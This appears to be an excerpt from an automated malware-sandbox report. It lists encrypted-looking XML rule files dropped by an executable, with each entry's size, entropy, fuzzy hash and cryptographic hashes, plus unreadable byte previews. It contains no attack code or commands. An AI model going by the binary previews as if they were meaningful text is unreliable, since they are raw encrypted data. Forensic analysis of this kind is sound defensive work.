Preview:	<?xmlX.T.%t...Sk.....;....<.....?...E..g.[.p..t...Yx.qTRm....>.L.6$.y..'.....jj5q>....AP..7.g.I>]!..&.q... En.v.....P.J\...oxQ28..#......)G.Ep.....p.P...R.......b....x...B.j..j."'.o>..Zo.. .2s"..'.[8...._.].7p`e...\D.C..5....pq..3J..HO.F#.Nm...Xb.....\|\^....l.O.P...I.g.'x ..T......6.`;<'. .Hf.m.DF..x...)...G.....................6...VF...&....YS)~-E....Z..j.WQ.`N4...S!t.4B......jg..........{....qD...!.(...x..8r}.7...{XD..lBiE....C...r.:....M. .+..s_...jJ.*....F).T7....n.....Q9.m3..4y...?#..r.@B...\...s..o&P.W.1xC67]...Yc/.O...\"...W..f.....,...:..n.`.(X#p....j...8N.kQ.f.-..p...0.i%..=..<.se.......L<.21...\|q.s..~..?...k{......!j..eF..C..H...../...+a._...d...F9.^(.,...}.T..?..}~].z...lB4H.lJOS...y3.%.....s.A..}d../...Z.5w........N..'..#]"..Wt.`....HM.x.O.$.bj....?B.....ka@z6.?....>+>'...9...'..q.=....o.e...s_r^;...n.<....r.7.=..5.~.N.u...L).....b..J..,g!F..p..NyG.D...Q4...X .b.~=.....c.....R.Q5{S.a.F...l.c..I ..[.02..}...

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.905693306171403
Encrypted:	false
SSDEEP:	48:ePOXn3fkFY3BM5Uy+LOkTUQbYVFltXFuED:xXn3MF+4Tu/UQbYVF3FuQ
MD5:	72C16D3914AC84A957E023BEC1FAFB36
SHA1:	13645F301D5D2B040B647E3E8DF6506DBBDD9849
SHA-256:	6AF2760CCDE34FD266EB63F3E4F53433627ABB9E9BB2AD652A5E9F8F0C31DD38
SHA-512:	8ED617790C55C5F9A04E9F3995F1D812577D36E3619D295376039D07A1E741684DA31C895334B6AADB292C551385B6013CE7A56F3465C08DC3FF71E61ED190C7
Malicious:	false
Preview:	<?xml.w.}.F..d/.H.Eezh...{.....v}.+.?Y....%.........,t..5q.......(S..L#....~E....7...UB..7........6.z......O....3..M.".+..nx..U_.r~.;T......+0`2.l..........ZAAF..B.y.......X]a...L._...P..@.T9..d.U=.%......ea%1.f..[..9.+...X.....`........1...u.{..Q"....Dn , ...VC.tw.3q..?.3...Q-..L'......y..&......<. .P\....k.B....x..........$..]1....V{.~...{.....?..]..L....1..w..`..!.P.....l...@...0...V#..Bk.A..i[K'b.......l)...K....;/B..)...G.a.e...%....w._..^...U.1..)...Xt._9....:..,......<0j./iI.>Z.. .....5.....J>..6.\|].........n8a#..;......C..^.O%..H....5.v.;..s8.M.oqd.bD..mm...o.....i..L%"!......b2........!..)...eO..../....J......s.w.....I.:.../.zH.cLZ.....<R.........#.[.sd..0.F..`.m..3.A..\|..lO.....bR.l.%.f...+.&\|..8..S^.TG.X..?..h[8....e6g....O.i./._.. ..Vbj.............{8h.bz.6..B.......'....$..E.U.6..O.GB8.j........I.....5G..N.6...^..>l.....U.......$.zz..%.M....y.R.P[.!.....]H.....~...$.~....}7]^f.....swsh.coz...s........',...:P.W.B.]./

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.863130749353678
Encrypted:	false
SSDEEP:	48:CwdOokESOJN5XPK/e3Moo+vd3OgaUiez/dYbIYULyp7ivkXFuED:PdSWZn3Moo+vmUiK1YbIYUnvyFuQ
MD5:	AD5ED36DB353BCE2BC3D0548DABD44E7
SHA1:	624120D0EDC5A0C8C37301D44286DE24B8B58696
SHA-256:	9B30570C37C2098990B2456A25DE155CBD896A827B345BBED08495EFF878874E
SHA-512:	6663F88FBAEE040EB038F9486B984C1283955F9CFC9282C0B453378256AAD13BF9985BBEC408EE0915CD3980AC7859829F0AE93966D2274C8FFB0CB72B9559BA
Malicious:	false
Preview:	<?xmlpi..9.M.k......p.0.Tl..,.3{.......$Wk'.F"....F.-?q./..}tDZv.L.$C\.&....k._.X.X...4y..:u.d.GZ.g..]...7\|.....!]2s.../...d<....?.......yt..dAy9&D.u..N..6..Y.n.YS........'..f.n.[}.d^{$..&J......;.x...\.=1W.-..%L..V.fh.#63.,6.../Z.....^....t.v..P.....V...#^../.'..a.;.q.}...U.Z ..w.M..fj.N.....>$".t.X.V@p.....v..Q0..y.[...".-a..h..t6.PS..7.+R...-..."=N.....~ ..x..U...Y.t...S/#ef.O4.`.].j..Q....x.)..#\f<.\..;U<G.XL..}......>v..\..p.."..e..;\|..g......S.....-.f..t..Nq..c.....w.."8......:..f.....y...@.....6.$...m_......r.r..h.y.Q...B.....4<O.!E..Y..Q..r9&a..X-$S..w..s.....p.....5.r@...b3Ip{@..bj}........Yl.....,.S.....Tw.?=.Nk..L...'.R=.........+.4....v1w,....L...t.N.......>Ur.2..7k...Y.xWf...d..x.............K..B2.....)........-...../,..R;p......m.h..P..........h.uk\...=C.6..[..Y.`./=.\|,H.E(..QBq.g3uu.[Q.&]........E..&...ya2..T....`9"a...>I.;..J.y.PQ...0...ck"....^\|.....o....h..N6o..H.}jNO..u.._....+.....s..4.W...(.f)..J....u.v.d..>.K

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.877563951042617
Encrypted:	false
SSDEEP:	24:Q8CGCc4ZNs8suZqG2VmNoMu9AnFCQCEgQdF9Yt3GWXrbOAy6UpKSlYTcg+eWyXq+:Q8I/NsrG2VmOEYt3GWXrbhcJxghXFuED
MD5:	34932D3240D895E0AA268D5DD2B04E27
SHA1:	A27E40B0CC0C9ADFD2D392B85BE80D57DE0AD441
SHA-256:	86DBC5CA97C38DBCB261FD4EE61E709C6D066890C17A83FC1B167B05BB844D3B
SHA-512:	A76255664A2D079C62E1CD7C2C784E26BFDF69AB6543EC7E96CAD0183FF1FEBD24A89947CEC2492429910C23CAB3FC05686472CCC89EB6D4814C20C6B611EDF2
Malicious:	false
Preview:	<?xmlmb........1`E. ...w.b....&^.ghr:...2.......<...l?.)..6D..}..!U..%...,v. ....T.. ..FiL.s9...U.z..l........E......O!.......y1.....z.t.......m.....5.4..bpjM7.....q.C%S...T.......>.j ...#.....;p.c..l.......l.d.-_...a.a.`".....b.el...R..1u...h.S#?o.../..S./".%n..M...,&...sT.C.Ch.......q...6[C...&\...s$.\.819..i!......J..vH.rz........J7.....E....V..H.c.c~....Z(.J.._....%..r1\o"&K...,..!$.B.I7..K....3.......2,..}..m..{`7u..a.O.../.>d..E.u.rCZ....ip.b..(..Vn.......U.y..P..F....8..gO...P.QR6D....H'....S......%..X.1.,%K[..\|k;.g]t(..g7!..1.)...1..j+QS.=..XK...CS.:-'...g.\|}'.mj-.....&..Z\}....-.s#..a..........c.G.g..j.-...v.8..%...^...1.....fT..Y.Ec...,8.\|+u.Yk.....17.+r!......W.....8V...c... .K4.m.........(......2...H.v...y.~.......Y....-`.-)..!\|Q0..h............ ...}..E..h.^.X.....tq.SO....H.!P..w..%..)...\|.....w}..d..Kt1..+...z...rn.p.k\|........QR.CT.3...6).+E.yz.+.Ti..D.Gs.4......'}X...w..1..j2e.6.27._..........si.&e..v.m+..8y].

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.884415884507486
Encrypted:	false
SSDEEP:	48:AXbn8YuJOhX6m3pZXFyEOpqQTMy3SjtXFuED:eLOOhX64pLOpqsMy341FuQ
MD5:	3641EF812A792C90390BFA21A2FB130B
SHA1:	FBE27F0E6F15350BE09DC06D6BD752281C74F363
SHA-256:	BEF5ABDB4139A346AED08DBA438477961EDAF58B30F99602CDD9C039D62EDE94
SHA-512:	3015EBD9588871FFCC048C3101407ACF8F91F1D886ABAF94FD245749275AEBB957325FFB6CD33436026F1174A8A75D722F778CB7EA2F33203E4CE756C413299B
Malicious:	false
Preview:	<?xml}W$.@......VF}..=.Q........7b......I.g@...t. ..._..y#.rD.......d.............m~\|.8....z......~....+Y.vF\"!Cl..O.J6."...G...oV..F..e..R1....3b.^..trD.\|...U..6L..h....`...up@..1.......R...=U.~gLW..@14n..=..u.m...Z.`u.a..~.Y.(.u1.CQ........(. .`...Qp..Tpm[.O..c.N..3....,C..L.j.M...[.{....3.........5CM.T.O..F..L.3..d,.v....3W..,.[...."B...K.H?(.r...1.}CRA.po@...D..L..R.I.I,_....['.\|..S.x..@8...Por..=...<....%pr[...D....9.?.d....^`..}m$.F....z@...ma)..>$.].~QL...n'..+....2..._..4..'a.x..'.D.)[.X...8E......... .d_s.<...:z...i...O..F?..{r.jF......w'.j..<3.K..;...Mi....."...].J.]..@....Ck....0.$.[F1v;t...+...-..l.0...{..{J..m.....yL...X_.B...@m.1..O....:x..F.K.{........(...v........6E......g.z....3.[....!..9..j=.%T."...\|...5..g.6.,.o....&..d....... .V...`........y..-..3..{.....c.nq.s>z..+.`{)mS3vx.fa8...>......^..,...z.j$zNH........2..gV....\|.F#.....?.E.X+..'..JB..-.=@W..J..1.1..P.M...% t\..5v./....1.@.:.8.jyr..oy...+).73....I....1..*....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702151v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.887145469136631
Encrypted:	false
SSDEEP:	48:dWQL4q2+PWndt8fb0Q4OxT2n+OM/Ys8x2XuqR378Mk3kXFuED:cQUL+PWdt3QDxlYs8qXr1FuQ
MD5:	6FC198C34761C6010E89AE58BF205EB1
SHA1:	3355D9E2165E82F6D76471AA6490951B1341A644
SHA-256:	1E19A9F80D19054815C485EB20EF053995302E71E2027FC43D25D71D79981650
SHA-512:	E4E2D6C89F6688C096593037CF45FE8D233BCFA09B010A0EFF19CD9E74DD95776EC250CE64471EC369588701C7030259528FEA609AEB6C01FD6A3CE7FA3B9E8B
Malicious:	false
Preview:	<?xmlk...v..f.....m.}..kmn....M}....hno.Hx.O..-[l.l...m..a.N......:..X6..8.8.y..<...../..;i..3.J)......1t......r..U-....}dh.....I.!.....lG<)y...a..X..y.....rA._>..,.v..w.\|...,...~..IU=(....{..u......q....>.m..4... h.P-...Calm.>q..}CU,.....#.?..;...\g..v.........1t.7....!...."..h...%.W.V.CH;?.-.T.Hu.o.....s...~dp.9.Ds .Qd...N...h..B>o/.,83.$..X.....d...G..w...I......E........"..0.o....T..8.U$}..z.X=F...A7....L.p.$........;..rH.@....`.{N....BD!.q....ND=~.P-&`G/...k..aT/$:...}T...>...S4$.#j..Z..]n.~WY..J@<n.../2y.%.&..fPF...).\b7..#.^.Em.HJ.._lE......\|.v..&1...%mc.........[.H.....)..g.......(p.Z..d..Y..l...fb.I.n.....dlbeP...q....y...d#.;7z..b........dT)..a.....!.).....#.B.....#...M..o#...p.d.....m.x.....V....RA.GmF#.3.....2...0.2......L..`M.GB....W=....>.....j.U.O...GM.6..{..).w...N.g.k...LX...G..h....x..h..c.DW}.c...o.#,>.^...<.+..Q.e..\|.h7C..'..I......`...l....._..h.4I`..C^.^7....o../.;V..A1...>&.u.\....)G..x.k..N...x....<...Z.L..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702200v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.887230228285935
Encrypted:	false
SSDEEP:	48:ptHo1cGCJMOrpYLtcOtXLfGfu4aJf8MxGOp7ZpvPKXFuED:pFo14EGM+baJfoSZ2FuQ
MD5:	890ED743F2F7ADC563B8860AD70347C6
SHA1:	38EC02F1A4C2214FDAB534290F7E4AC962C00E6E
SHA-256:	C029222C7546FC02CFB681FB653817636C520C6F199130B3C2E7AB9CEF12CBFD
SHA-512:	5B6A1D8A8F2D72FE51468827BC25063337B2E670B64C448857D7C3E2BA90B097CE80D4647BFECB41D144CB655DC42B9CED8F8E2ABE9E54FB168EBDE0EF5BF115
Malicious:	false
Preview:	<?xml.....>O...\.....pc.J`.4......O.mC&(.....m........`......OsQ.:.c.Y..[I.T3.a.E..J..p...%.0...A..hX'.@..j....,...x...?..W4.'....^M.d.......P.q.m....M$.`cK\|Ql..Q......vX..&J.f......3~q&#R.~.u../5..;.....(t....8....E..f.Bk.d5Z><t.....V......;..B.^.p.R.n.4.+....z......J..E....Q9.....v.+....=Z.............eML.1.s.-.a.e@.eb. @..E.``....". ...H2....$/.7mxR.F"..wF. u.sv..S:\..u..z....g.6u..L..]l].T..Z..........T....`f....1....j...C.v...QU..K."z.U\|O.j.'..E.....b97../.g.SN.o!.c..F.].>z......S.f.f[;.S..j.0..az&..v@.&....w..\|..Xd...B8eP..[.r:..(.0J.L.6.KO......R..O......A...I.....)..i[...U..!Y.j=[..1d;ws...Q-<.0......D.s..]........2..$....v..k....x....f...z.....o.zzO.k..%....yy..@x.#...:....,)...I..G.............$_..(-.s..c..m.s... ....B~_.bM.P....z..aw...\..j...{R...t.L..{....\p...........Q.1.tI<....%.wyH.%..<.I.....p.{.9....q...\|.>.....S..s...%6....0..se...\|...j~C...7.FV*.\.....%<q@.......J....VH...5..\|.<.]czt.....X.`-..+dx.X<.H+.`..D..E1......J

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702201v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.887229470488338
Encrypted:	false
SSDEEP:	48:wfqHZtgM5SvXxqZEboiSTaolvbxboCi8g5XFuED:wfqHjyvXxqZEbo759XiLJFuQ
MD5:	9C18DF89C5147829CA62D51D6EC4DC4B
SHA1:	8E2A618B1B3F16FDCBE3A57394AB30CF21B1C2E4
SHA-256:	C52689254740794C84EF0BBAF3D4895C1EFD71970E3861E207C02210A86EA1BF
SHA-512:	2E8E9A1F4A31814670CE5C06C44543C2D04FD6CD255C13B592C402BC3A4E476238506139B0070A7E9302127D3AB8CD85FAB26ED6452BB809654FABCEB7C71D1B
Malicious:	false
Preview:	<?xmlt....s..s.......R.}._......\|Z=-.\.m.#..p.#k..>..lh.z,pU..=..a1..R7L...B.../'..........M/X...d....S.- .R=BI3..6.K...Q.x...4.5b..dG.i..1.J[...=.....+.j&...I..q@....l}_.....w{_k..0..-Z>.....<.7...y..L...s.MQ....3.. .T....O!...&."..'........?4.W#xN...#j.a.....<{.$_q..P.>...`...........+..1I.....f.....t..._....S..C....)w..4..2.....P`....s..j.86....\i............D3..\N...\|.2......n[.}...!T..Ht@..(G..z.H....[..r....M....(.z.R.L.h.?\|.VGii.?u$.aCQW...r...x..N44C.....x.D.M..MM...L..4...% "l@3.......;.Qz"..x....Z.<..B......,.!....N......o..o...a.z......TC..S&t...?bT..s.`x.F./r...5w....W....(..b5.4....B.9;.T.4P-......`2...Z.)'.5.....k&t.t....L.........a#Z.E......2SZ..h.....^-.g.g.........{L.M..C....A..}.;3F :.2.."...>.....Mv......q)...T.&."..+..U_'Z...}l.J...m.j.=..O./4.l...............F..e.Q..ZL...6f-....H!..`.......".-..H7+.....Q<...dv......Q.=...3\|...4V.1X.....=~4I.....A...i[^.@..C`.&....M..Q._..O....i..#........$.?.7..T..>.?..1.XS

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702250v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1685
Entropy (8bit):	7.877686483811033
Encrypted:	false
SSDEEP:	48:5I4rOrJPOm/Rf2F/hZ9ARdRWEs6W5CRUN2nmfVXFuED:mjJPOG6hZ9AkV0RUbNFuQ
MD5:	D5EB8C4D35B8BE2606C678CD84F771E6
SHA1:	87FE648022CFA8C8AB0B0A22F93F2FC7369CDD3D
SHA-256:	6E20EC11B1BF8DDB8899A31583517BC87EBFD2F3A828C055CB76CF98B89CD290
SHA-512:	328ACA61189A0D28E84F2CFC5027E4E527F6E9C60667C54283F08DB74A2CC2BC69B92040F5990B754052510F5E0935A93C21D1F68B34CDEC9B17E73F5B520570
Malicious:	false
Preview:	<?xml...6dQR_...x....K.3S......]![.0..I.S...,....(?x....].#.VY+.'......M.".v..9..}.%.^2.e...d.2Xp..P1.....s....c.4.T........`..Z@.s...6....e...E:.....O3=.....\.v...<S.Y.`c.....).?..7Xa1..)...Hu}&...QD:......cu...Y.bw.6.7..x...'..A.iI.,.. ].W......UL!:t..Z..>.....=..g...\.x.....C..........c...W....%....$cJ:a.32.l`3.3\l /..n..cg....l.r...&l..u._z...\.. .;......E).p.xX..Ko.y..#.8!'.k.......g..W/D..C....4\...G.a..~\/e.....l..1kd..1...E?BB...]9X.i..%.(h.r.M.7..VK .<..[.-...!..{".?0X.....(.....Z.i.m:.PZ...G..OE...["1..uI....,.....Dh.:..wc?..LKK.nj...l.l.....H..N.;.%........-Z.........w.......R]/H.n.?. .Cv...."c2!.EY.\|^BR/_.A.P...-.VXl-.nEl.a.c.Lo...Q.0...].h.L.H.....b.s.@..7h.w.U...s.g.q.d.g......~.H4R..f..j.....2..].i.*.......k..>.M9+.%..}2j.Q.?...).R..6......B.....W..vl..P.1"J..4uM.[k.l.k........m..l......L..\...9.<,N......l....i..aI.E.d.N...7(G..zv.U.(........2..A.+..].#....o.$..........n@..`........c...wi'....U.../eb^.,Y...R..F..n..~.z.p

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702251v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1722
Entropy (8bit):	7.885551275263558
Encrypted:	false
SSDEEP:	24:3pJAmJXO3eRtfJ3bNwoXrsO1V1xJh8/OeD5VFIJL7rjjzHZar4eB3BXq8uWbD:3pJp+4SoXrT1VUOeD5mL/jHqXFuED
MD5:	D4296622BC16AD442326545993E60258
SHA1:	DDC90873CBC532A5412EFE0C4E6AF2BE267C7226
SHA-256:	DC3C23A4E0C18601579E98099C55CF13BEA6E7673D238B1FCAEF591A5B308149
SHA-512:	7C44CCFBA7730B18957590F584FAD5092F4362F0809DE055400E6679E251096B3A54B1A4A877284B684CA217075C7B92C602EE2C24126764D69C35804DD0F507
Malicious:	false
Preview:	<?xml.i..O.p<6-..........~.....A.!.....1.!xo(VZ..e.A$.......].%.L..4q..............!.9..w.G...K]D.s.n.Ms.R...O.y\).P8O..Do....p..CB.S..h.E..r.}.........?...1.C..!.>.5...Q....y..xv#...Klk...q..'[..T.`..5x.<.....8nY..O...x..#.%.i.........8.DTx..s.#..r.L....kq..4.gHEF..2e.gP...O..g.J=`.......j..!......oD.5.[...........kia.b1..V.( .Yu.3<~.8..v.H..lY.Q.[.83\|BA.%...u.'....X\....u.Ym.}<....@..C......I...D:Mz.i.\|.......6..1......X$.s.y..f\|A.wL).1...c...;....c.dE.(.q...u.>pn7B..DQ.!..@..+x.aua.f>BJ..K.]..y..\|.....g.....F.....]..._..hT.f...NF.......o.hB:..#..O.dJc.......\|......{.r.U{'.Rr?.k,...PO..D........^.=].[..W....<.m..BZv.X...Pq..6M\l....jW..>pz..y...<..U.G.j..tWQ...>.r.q.:YT_.DH...........<9.G..g.A.'!.....%^?V.........8.KR....;..>....9G...%bw.....Z.,.q.x.w.Q...9.'.}X..8..M..L6u..[.....?t....U.K.$..`.^l.q..\|r5..B.(..1.....s.....<.%_..5qDr....Ut.G0........1.M.....46.)SV.L.{.1...(.....}?.5...M...V...k0..l..2.7....6!W.C?.H..A.4.....

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702300v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.889800469359466
Encrypted:	false
SSDEEP:	24:l3/FDMPXHU56LX8s5tWwRK/mPCaczLfVh2OBTVRoxcbiztAimo93DrbbT0Y+ETqF:J/BMsOdNRKbxnTH8cctb9Pb/tPQXFuED
MD5:	777FF8BEB1682791BB93D66A12FFFE2D
SHA1:	C5D77C5FD76B09CA0A8118E7ED7864916D799FDB
SHA-256:	7C9B1DD6C212204F9ED09799410317EBFF2C036F7DAB5DB22C047DDE24F00D81
SHA-512:	4634642ED7EDEBCD19A8E06638EF89EC7147A8AAB510C4E9A323FC84E59B56C046DEAB3AD36C47F566FDBB6E77643AE7300EEEF68B0A3F8A907923A03104EA95
Malicious:	false
Preview:	<?xmlo#}1.m....y.....D...y.....Q.....NN=...Qf.#....F..PO...Oj...U3....."..2.)....V....`..Gx.TJP..... ...\.AZ.........E..j.......2..)...=.; ..T.J.O...0.....r....dj.&\....\|...Y....I..$G..Lz.#H...3.\|..7n..N+.?.....!..tGE....+J...H..i1f.zm......rS.../..?.)-Q-........\|...n@..Ig.a.$:$.nd.S..'.^-._........y.C..b....A.P.a.R gj'a...O..x8.]......n..m\b...:8...,.tg...\|<.......7h.t..:.?Wxl.6.!.$..0.\...J.hc.......<...}.J ......cK.9.yd.o..5".M.....H'..{i."1s..Zgu.....G..u_0.q{s.7R.....j....vS.v....o[}).Yx[..0....Fg.T.{.?...k..rN+..\4..@./E..........2..P%'.!.^a...<.9A.\.f..wO.P.7(~....=.@.-..2.....t>.......+..,K..H.(w.P..h2.5....]......SO./.......ePC.7...`.U..^.2JR.P..`.....C0-1..d.>r..].,..ov6.~P.g..w.....Xm..o$.&;.,. ..+....i......X.A..'q.D.x...^.;!....ca....c.Z....v....!....I..7K..l....Gy....@.....c.N...W.....).r.8.X..P.v.MOS..~c...+..U2d..X....o0.....E....J...z...\I..().[.$...;..}w..)w....{6..N#.&.m_.V..tl..l./.E*v8D..7w..2.v....W....3.7

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702301v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.8981946942972145
Encrypted:	false
SSDEEP:	48:wbijAMrD4/u0tzObHWnJyY+clhKEGZDCXFuED:wbBSguUMGJyY9DzGSFuQ
MD5:	1340D50D21EDE645F250298CE8E14FE1
SHA1:	BA80F64567681279749BBD249AC968A30DE9A864
SHA-256:	FD184E27B65CEAA797C9F677363AA309D7A46D2B792079E566285D21DA514070
SHA-512:	CDB46E412A58E7543C86FE329CE170D08BC1151D1AB1390CA8493713EA50863E6A1492580696A4B24403625D1D6D150B9E0F0377F6C9E74144628ECBC1BBED72
Malicious:	false
Preview:	<?xml;..Q...XY.("..}.4......t$..P...... M.C..O..x..=ZW..1..u!.M..FY.#@\.....YC.$..mc..>".Xd.j;..w..]....\.:2..T..I....Gt.P.S@....O..&.x$.^.A.=S.I.......r....c{.hK`..g:eC.-!.}<.%.E...h.R....c.M...ulxi....bq....G....6...6..F.b..2....G?4..r..y\|......L.6.i."..Vc..S.d.Q.<.p.4..$I......If/.....l..JsOAGb1e2.H...z.?/..P.....i..Q......@.."%.3 .V.6..L.Y-.$Q.m.xS1.....T.$.\|g..7.2.g<.....@B.....B..._...=@>..Pe.....H..n...b......}..{P.;<,x.nM9b....V..$h....K^'..._"....>]~....;....b.3.{l.3s.....B.r..K.9.X.....d.8...wY.?.u......F.`.)9.Y7...Q.k$mw/...`9-[.I.J..o."I..'..p<@.Z..f.g......x...rF..E..q.............{..r...).....az.A...1M..5Jv..ncP..d..76..J.\,../.w...]..o}..q..Y....W..16..M...P.z..."..[.u3..!c....^.EF.cE..i.W..GV.....R.b>%./...f.V...].,..N.;....`.AQ....Y..Us\|tl.^..g{....n.....q)Zs.='q.z...Od..#.......S+.':w.<.\|.9..0..9.)...R..}.P#/.A.uL."...O....fD\...u..BD...HW.ljp...Yka8V.R-...PRM!2.w..H..N..7tT-0....._fuW.O..2..}.a5~.WV7x.....#Pi{.,j\..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702350v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.892359018760361
Encrypted:	false
SSDEEP:	48:QKaSc4JFBNoS7yuwVNzuyZy7gIaGRXFuED:QKS4Tj5ySgIaGRFuQ
MD5:	37DD10AC8690C5D5F27E142D2DED87B4
SHA1:	34C06D6C047BE1A52F5CFE2FBF41E37A13025951
SHA-256:	EF8DD31EBCD750B8F54BBD3E7221C6B8D04898D77D7BD4FBD0959A5FAF0AF628
SHA-512:	F0AD8194C467743D3696385B0C3776BD195684EDD753EF9A2A1C20F2000D08645E1C63D2063B1543FEE5B8DFA6FC1E81F7DF7527CD631BB4F89A436AC4127BD9
Malicious:	false
Preview:	<?xml.S.....Dx..9....J.......$w.CV?E..0.L.:#.q.D.c...i.WX(m.\.p..`...+,.b(.../6.....dr.....L.G..L...B.+.I.2.:\.%.dl...<..Hr..^g.....P.5.+J....w.`... s..1..3.n..$oF.1. x...:...X.TIO..sA.O.....eutTWMHl?.........VR.T>.;Y6..6Q.aiZ.B.....EL....'..rY..4..9cB.z.^Y...S.J..2T ....,..-.Ce5&.n...T.x......XUSr...h....-...d..Y.I.B"N}..p....S..AK/...Y..9RT"..=.A.....6.N.8<..\|...O.....z..v}"........H.....]..9.;&.(..qJ.[....:...&..$..b.....woX.....8l.(........5...{7E..{h..34..J.,.&.......v..v..PB^...C...j~U..x.C......,.7...OF}..I;...,.5.....<._.N.5........W......oC+x.x.&n.t.IM}.Cj.....o......{.].P(.3.....!W.F...z$./.......H^e.."-...h],..(!@Nhh..O..d{.........p.....9.._.."...}..\|..x..jo...p.`...l......Q0.\|.[{..r...ShH....B.....?.hs:M.D.Q..7]...BWC`..'7.....p..&...e.. .#8.0$..@....b..._.M.R.8.]X..o........#p...;t..S...u../..7...S...e..<.X.T....\.........'.N...~..........v...............]..o.cxyF.......J..\|.NLwUx..23...H[.S.m..../..V.t.B.$.....~<.G..

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702351v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.88718699653378
Encrypted:	false
SSDEEP:	48:WZHQOjauOGAwyttjuhaujO5r0LtDodm0exOpk6Xvq5bdVjfDUNXFuED:WZj+dGO1x0Lt8d2OrU77UVFuQ
MD5:	8D2F496A4D6980686CAB254DDE70A124
SHA1:	9835A8921584AAD34EA92BB55697901AF25F6C23
SHA-256:	3E518A51C1BF7E48BCE9865DC8DAB93D374B9278010E9FBE6FB4FD80E29F68CD
SHA-512:	CC79587BAE87FAC7C5718FCC8094998569ED3CED3A9E87261E0D68EF0F46B486E7075D94C46834E7CA98C41FB122C1F89941F74709F294C4448049C576C92272
Malicious:	false
Preview:	<?xml..f.....~......N....u.d.2=.N.....f..}..Lz}...#=.......8.G..QmC.4....;....B`..b.gVS......^...."l.....Lg6.....Uo...v.8....W.\|..e.5.Y...?U..J.=....C.Q.k....U.....o.Pp.a!w.'.....{X-k.P....r...tV......$...A.>.kO.y..}........#:)....j.]........^)VD.W..%..=..3o....6.......1..r.......[..+ .!.V6tK..c.T.(......=/.+fY.~..'..X............q`...}....0.@..f.1.['K?%.X..V.Q...j.........C...R.D'...9.9.N...K9c......\|\:..`....".\....$..@.5...g...].....r@<._..Dj..J~.C\|./.X.e....\...].Y.0.....`#C5?....F...... .......V"A/...Y.a..%..u.E;+...\M....=.$..7hz....{.v.42.8.%.:..B.M..x~$1.f0....9:~........sf...C........."...y....Bq.bl.Q...RLE...F..3.i..L~w^7.>/..8..;.iK^...P/.}.O.....6.y....MUu\..qy...P.@ ..(N...p....+........O......2Ph..i.M45.o.e.~...!........ ..~yi..zH@.....E...$Os@P.~Cz./...."gh....w...PD.h..Z..\...? >QgS.o.............<..^)Pd.de....."......Ls..1...[v8.j..x.<V.b."...`.O1.8.4.&.;@.ud.0."....MI..0...G.w.HN?.I...;.4..0.h..Dy7!.&{..8.d..l.

C:\Users\jones\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702400v1.xml

Download File

Process:	C:\Users\user\Desktop\R5391762lf.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.888782981117522
Encrypted:	false
SSDEEP:	48:tgVqcjp5SBn2BYqJW6qEo2iuw6tT/F4zKXFuED:E5SlIYqI6y96tSzAFuQ
MD5:	197FA730B584D7541D3095CFFB523ECA
SHA1:	C4979BCEC6A3CF1ADA8D4B085936A4E1B7AA663F
SHA-256:	791D67EC15CF3AEE4973D337AAB5408F53DC46E4745D80EB7EAE0003C4B76B08
SHA-512:	1F3B061408B0F440C7053B0F79A5913D455F18D3C6D5F97771C48C1A59E659168159C68AA880CCA17B0672A84B9EE20E68D81B09E15AEE08BF88537DCAEDC2E8
Malicious:	false
